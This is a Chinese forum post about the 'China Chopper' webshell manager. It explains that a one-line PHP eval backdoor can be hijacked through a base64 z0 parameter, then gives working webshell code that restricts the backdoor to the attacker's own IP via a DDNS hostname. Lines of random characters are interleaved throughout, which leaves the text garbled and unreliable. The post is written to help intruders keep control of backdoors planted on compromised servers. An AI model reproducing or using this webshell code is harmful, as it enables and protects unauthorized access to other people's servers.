今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
+ P! N _: K4 o9 U6 A8 y) R6 f5 E. F- l1 Z; A
就算你设置了密码,使用了eval($_REQUEST['moyo']);
) ]9 t( m; N: Y' r, ]* t% L
6 s, O0 t2 Z( K. n8 \& n/ R但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
- E- `3 i. p. ^3 \4 @ J
( l4 c4 e R0 k7 D因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
( T( q! ^# M: }% d- M5 d2 H9 ]1 v9 z! z, W/ @
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了0 I6 z0 `9 @5 Y3 |5 m; t; m
0 m3 j9 {' j. f" x1 N( F' `" P
不知道是设计缺陷还是故意留的后门+ O+ b/ t2 C0 w& N
5 g7 ~% x' h; o! k3 i
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
5 P+ o y% \3 b/ ~; q
' ]8 D# p- N" @ U本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
; c2 M) ]8 M* A2 q# t+ U0 C
8 Q7 A+ O: v$ n然后一句话后门这样写
% Q& P' D! g) A8 e% t' ^+ s. Z! k2 q- o# o3 c" q
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
) i* `. u9 k" k5 K/ O这样就可以让一句话后门只允许自己的电脑连接了* D" d- T) o+ s) w* Q8 A% S6 W
4 T2 u9 F: |8 a/ E |